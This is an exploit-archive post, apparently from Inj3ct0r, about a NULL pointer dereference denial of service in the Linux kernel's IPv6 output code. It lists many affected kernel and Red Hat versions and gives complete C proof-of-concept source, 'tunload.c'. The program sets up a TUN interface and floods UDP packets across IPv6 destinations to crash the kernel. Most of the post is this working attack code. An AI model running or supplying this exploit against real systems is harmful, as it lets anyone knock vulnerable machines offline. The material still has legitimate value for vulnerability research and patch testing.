Linux Kernel 'net/ipv6/ip6_output.c' NULL Pointer
Posted on 17 March 2010
================================================================= Linux Kernel 'net/ipv6/ip6_output.c' NULL Pointer Dereference DoS ================================================================= Credit: Remi Denis-Courmont Vulnerable: RedHat Enterprise Linux EUS 5.4.z server RedHat Enterprise Linux EUS 5.2.z server RedHat Enterprise Linux Desktop 5 client RedHat Enterprise Linux 5.3.z server RedHat Enterprise Linux 5 server Linux kernel 2.6.27 .5 Linux kernel 2.6.26 .4 Linux kernel 2.6.26 .3 Linux kernel 2.6.26 -rc6 Linux kernel 2.6.26 Linux kernel 2.6.25 19 Linux kernel 2.6.25 .9 Linux kernel 2.6.25 .8 Linux kernel 2.6.25 .7 Linux kernel 2.6.25 .6 Linux kernel 2.6.25 .5 Linux kernel 2.6.25 .15 Linux kernel 2.6.25 .13 Linux kernel 2.6.25 .12 Linux kernel 2.6.25 .11 Linux kernel 2.6.25 .10 Linux kernel 2.6.25 Linux kernel 2.6.24 .2 Linux kernel 2.6.24 .1 Linux kernel 2.6.24 -rc5 Linux kernel 2.6.24 -rc4 Linux kernel 2.6.24 -rc3 Linux kernel 2.6.24 -git13 Linux kernel 2.6.24 Linux kernel 2.6.23 .7 Linux kernel 2.6.23 .6 Linux kernel 2.6.23 .5 Linux kernel 2.6.23 .4 Linux kernel 2.6.23 .3 Linux kernel 2.6.23 .2 Linux kernel 2.6.23 -rc2 Linux kernel 2.6.23 -rc1 Linux kernel 2.6.23 Linux kernel 2.6.22 .8 Linux kernel 2.6.22 .7 Linux kernel 2.6.22 .6 Linux kernel 2.6.22 .5 Linux kernel 2.6.22 .4 Linux kernel 2.6.22 .3 Linux kernel 2.6.22 .2 Linux kernel 2.6.22 .17 Linux kernel 2.6.22 .16 Linux kernel 2.6.22 .15 Linux kernel 2.6.22 .14 Linux kernel 2.6.22 .13 Linux kernel 2.6.22 .12 Linux kernel 2.6.22 .11 Linux kernel 2.6.22 .1 Linux kernel 2.6.22 Linux kernel 2.6.21 4 Linux kernel 2.6.21 .7 Linux kernel 2.6.21 .6 Linux kernel 2.6.21 .3 Linux kernel 2.6.21 .2 Linux kernel 2.6.21 .1 Linux kernel 2.6.21 -git8 Linux kernel 2.6.21 Linux kernel 2.6.20 .9 Linux kernel 2.6.20 .8 Linux kernel 2.6.20 .5 Linux kernel 2.6.20 .4 Linux kernel 2.6.20 .15 Linux kernel 2.6.20 .1 Linux kernel 2.6.20 -git5 Linux kernel 2.6.20 Linux kernel 2.6.20 Linux kernel 2.6.19 .2 Linux kernel 2.6.19 .1 Linux kernel 2.6.19 -rc4 Linux kernel 2.6.19 -rc3 Linux kernel 2.6.19 -rc2 + Trustix Secure Enterprise Linux 2.0 + Trustix Secure Linux 2.2 + Trustix Secure Linux 2.1 + Trustix Secure Linux 2.0 Linux kernel 2.6.19 -rc1 Linux kernel 2.6.19 Linux kernel 2.6.18 .4 Linux kernel 2.6.18 .3 Linux kernel 2.6.18 .1 Linux kernel 2.6.18 Linux kernel 2.6.17 .9 Linux kernel 2.6.17 .8 Linux kernel 2.6.17 .7 Linux kernel 2.6.17 .6 Linux kernel 2.6.17 .5 Linux kernel 2.6.17 .4 Linux kernel 2.6.17 .3 Linux kernel 2.6.17 .2 Linux kernel 2.6.17 .14 Linux kernel 2.6.17 .13 Linux kernel 2.6.17 .12 Linux kernel 2.6.17 .11 Linux kernel 2.6.17 .10 Linux kernel 2.6.17 .1 Linux kernel 2.6.17 -rc5 Linux kernel 2.6.17 Linux kernel 2.6.16 27 Linux kernel 2.6.16 13 Linux kernel 2.6.16 .9 Linux kernel 2.6.16 .8 Linux kernel 2.6.16 .7 Linux kernel 2.6.16 .5 Linux kernel 2.6.16 .4 Linux kernel 2.6.16 .3 Linux kernel 2.6.16 .23 Linux kernel 2.6.16 .21 Linux kernel 2.6.16 .2 Linux kernel 2.6.16 .19 Linux kernel 2.6.16 .18 Linux kernel 2.6.16 .17 Linux kernel 2.6.16 .16 Linux kernel 2.6.16 .12 Linux kernel 2.6.16 .11 Linux kernel 2.6.16 .1 Linux kernel 2.6.16 -rc1 Linux kernel 2.6.16 Linux kernel 2.6.15 .6 Linux kernel 2.6.15 .4 Linux kernel 2.6.15 .3 Linux kernel 2.6.15 .2 Linux kernel 2.6.15 .1 Linux kernel 2.6.15 -rc6 Linux kernel 2.6.15 -rc5 Linux kernel 2.6.15 -rc4 Linux kernel 2.6.15 -rc3 Linux kernel 2.6.15 -rc2 Linux kernel 2.6.15 -rc1 Linux kernel 2.6.15 Linux kernel 2.6.15 + Trustix Secure Enterprise Linux 2.0 + Trustix Secure Linux 2.2 + Trustix Secure Linux 2.1 + Trustix Secure Linux 2.0 Linux kernel 2.6.14 .5 Linux kernel 2.6.14 .4 Linux kernel 2.6.14 .3 Linux kernel 2.6.14 .2 Linux kernel 2.6.14 .1 Linux kernel 2.6.14 -rc4 Linux kernel 2.6.14 -rc3 Linux kernel 2.6.14 -rc2 Linux kernel 2.6.14 -rc1 Linux kernel 2.6.14 Linux kernel 2.6.14 Linux kernel 2.6.13 .4 Linux kernel 2.6.13 .3 Linux kernel 2.6.13 .2 Linux kernel 2.6.13 .1 Linux kernel 2.6.13 -rc7 Linux kernel 2.6.13 -rc6 Linux kernel 2.6.13 -rc4 Linux kernel 2.6.13 -rc1 Linux kernel 2.6.13 Linux kernel 2.6.13 + Trustix Secure Enterprise Linux 2.0 + Trustix Secure Linux 2.2 + Trustix Secure Linux 2.1 + Trustix Secure Linux 2.0 Linux kernel 2.6.12 .6 Linux kernel 2.6.12 .5 Linux kernel 2.6.12 .4 Linux kernel 2.6.12 .3 Linux kernel 2.6.12 .22 Linux kernel 2.6.12 .2 Linux kernel 2.6.12 .12 Linux kernel 2.6.12 .1 Linux kernel 2.6.12 -rc5 Linux kernel 2.6.12 -rc4 Linux kernel 2.6.12 -rc1 Linux kernel 2.6.12 Linux kernel 2.6.12 Linux kernel 2.6.11 .8 Linux kernel 2.6.11 .7 Linux kernel 2.6.11 .6 Linux kernel 2.6.11 .5 Linux kernel 2.6.11 .4 Linux kernel 2.6.11 .12 Linux kernel 2.6.11 .11 Linux kernel 2.6.11 -rc4 Linux kernel 2.6.11 -rc3 Linux kernel 2.6.11 -rc2 Linux kernel 2.6.11 Linux kernel 2.6.11 + Trustix Secure Enterprise Linux 2.0 + Trustix Secure Linux 2.2 + Trustix Secure Linux 2.1 + Trustix Secure Linux 2.0 Linux kernel 2.6.10 rc2 Linux kernel 2.6.10 Linux kernel 2.6.10 Linux kernel 2.6.9 Linux kernel 2.6.8 rc3 Linux kernel 2.6.8 rc2 Linux kernel 2.6.8 rc1 + Ubuntu Ubuntu Linux 4.1 ppc + Ubuntu Ubuntu Linux 4.1 ia64 + Ubuntu Ubuntu Linux 4.1 ia32 Linux kernel 2.6.8 Linux kernel 2.6.7 rc1 Linux kernel 2.6.7 Linux kernel 2.6.6 rc1 Linux kernel 2.6.6 Linux kernel 2.6.5 Linux kernel 2.6.4 Linux kernel 2.6.3 Linux kernel 2.6.2 Linux kernel 2.6.1 -rc2 Linux kernel 2.6.1 -rc1 Linux kernel 2.6.1 Linux kernel 2.6 .10 Linux kernel 2.6 -test9-CVS Linux kernel 2.6 -test9 Linux kernel 2.6 -test8 Linux kernel 2.6 -test7 Linux kernel 2.6 -test6 Linux kernel 2.6 -test5 Linux kernel 2.6 -test4 Linux kernel 2.6 -test3 Linux kernel 2.6 -test2 Linux kernel 2.6 -test11 Linux kernel 2.6 -test10 Linux kernel 2.6 -test1 Linux kernel 2.6 Linux kernel 2.6.8.1 Linux kernel 2.6.26.1 Linux kernel 2.6.26-rc5-git1 Linux kernel 2.6.25.4 Linux kernel 2.6.25.3 Linux kernel 2.6.25.2 Linux kernel 2.6.25.1 Linux kernel 2.6.25-rc1 Linux kernel 2.6.24.6 Linux kernel 2.6.24-rc2 Linux kernel 2.6.24-rc1 Linux kernel 2.6.23.14 Linux kernel 2.6.23.10 Linux kernel 2.6.23.1 Linux kernel 2.6.23.09 Linux kernel 2.6.22-rc7 Linux kernel 2.6.22-rc1 Linux kernel 2.6.21-RC6 Linux kernel 2.6.21-RC5 Linux kernel 2.6.21-RC4 Linux kernel 2.6.21-RC3 Linux kernel 2.6.21-RC3 Linux kernel 2.6.20.3 Linux kernel 2.6.20.2 Linux kernel 2.6.20.13 Linux kernel 2.6.20.11 Linux kernel 2.6.20-rc2 Linux kernel 2.6.20-2 Linux kernel 2.6.19 -rc6 Linux kernel 2.6.18-8.1.8.el5 Linux kernel 2.6.18-53 Linux kernel 2.6.18 Linux kernel 2.6.15.5 Linux kernel 2.6.15.11 Linux kernel 2.6.15-27.48 Linux kernel 2.6.11.4 Not Vulnerable: Linux kernel 2.6.27 Linux kernel 2.6.26 .6 /* gcc -std=gnu99 -O2 -g -lpthread -lrt tunload.c -o tunload */ /***************************************************************************** * Copyright (C) 2008 Remi Denis-Courmont. All rights reserved. * * * * Redistribution and use in source and binary forms, with or without * * modification, are permitted provided that the above copyright notice is * * retained and/or reproduced in the documentation provided with the * * distribution. * * * * To the extent permitted by law, this software is provided with no * * express or implied warranties of any kind. * * The situation as regards scientific and technical know-how at the time * * when this software was distributed did not enable all possible uses to be * * tested and verified, nor for the presence of any or all faults to be * * detected. In this respect, people's attention is drawn to the risks * * associated with loading, using, modifying and/or developing and * * reproducing this software. * * The user shall be responsible for verifying, by any or all means, the * * software's suitability for its requirements, its due and proper * * functioning, and for ensuring that it shall not cause damage to either * * persons or property. * * * * The author does not warrant that this software does not infringe any or * * all intellectual right relating to a patent, a design or a trademark. * * Moreover, the author shall not hold someone harmless against any or all * * proceedings for infringement that may be instituted in respect of the * * use, modification and redistrbution of this software. * *****************************************************************************/ #define _GNU_SOURCE 1 #include <stdio.h> #include <string.h> #include <stdarg.h> #include <stdlib.h> #include <stdint.h> #include <sys/types.h> #include <sys/stat.h> #include <sys/ioctl.h> #include <fcntl.h> #include <unistd.h> #include <netinet/in.h> #include <linux/if.h> #include <linux/if_tun.h> #include <pthread.h> static void run (const char *fmt, ...) { va_list ap; char *cmd; va_start (ap, fmt); vasprintf (&cmd, fmt, ap); va_end (ap); system (cmd); free (cmd); } static int tun_open (void) { struct ifreq req; int fd = open ("/dev/net/tun", O_RDWR); if (fd == -1) return -1; memset (&req, 0, sizeof (req)); req.ifr_flags = IFF_TUN; if (ioctl (fd, TUNSETIFF, &req)) { (void) close (fd); return -1; } run ("ip link set dev %s up", req.ifr_name); run ("ip -6 address add fd34:5678:9abc:def0::1/64 dev %s", req.ifr_name); return fd; } static unsigned rcvd; static int tun; static void cleanup_fd (void *data) { (void) close ((intptr_t)data); } static void *thread (void *data) { unsigned n = (uintptr_t)data; struct sockaddr_in6 dst; uint16_t tunhead[2]; int fd = socket (PF_INET6, SOCK_DGRAM, 0); pthread_cleanup_push (cleanup_fd, (void *)(intptr_t)fd); memset (&dst, 0, sizeof (dst)); dst.sin6_family = AF_INET6; dst.sin6_addr.s6_addr32[0] = htonl (0xfd345678); dst.sin6_addr.s6_addr32[1] = htonl (0x9ABCDEF0); dst.sin6_addr.s6_addr32[2] = htonl (0); dst.sin6_port = htons (53); __sync_fetch_and_and (&rcvd, 0); for (;;) { dst.sin6_addr.s6_addr32[3] = __sync_fetch_and_add (&rcvd, 1) % n; sendto (fd, NULL, 0, 0, (struct sockaddr *)&dst, sizeof (dst)); read (tun, tunhead, 4); } pthread_cleanup_pop (0); } int main (void) { setvbuf (stdout, NULL, _IONBF, 0); tun = tun_open (); if (tun == -1) { perror ("Error"); return 1; } for (uintptr_t n = 1; n <= (1 << 20); n *= 2) { struct timespec ts = { 1, 0, }; pthread_t th; printf ("%6ju: ", (uintmax_t)n); pthread_create (&th, NULL, thread, (void *)n); clock_nanosleep (CLOCK_MONOTONIC, 0, &ts, NULL); pthread_cancel (th); pthread_join (th, NULL); __sync_synchronize (); printf ("%12u ", rcvd); } close (tun); return 0; } # ~ - [ [ : Inj3ct0r : ] ]
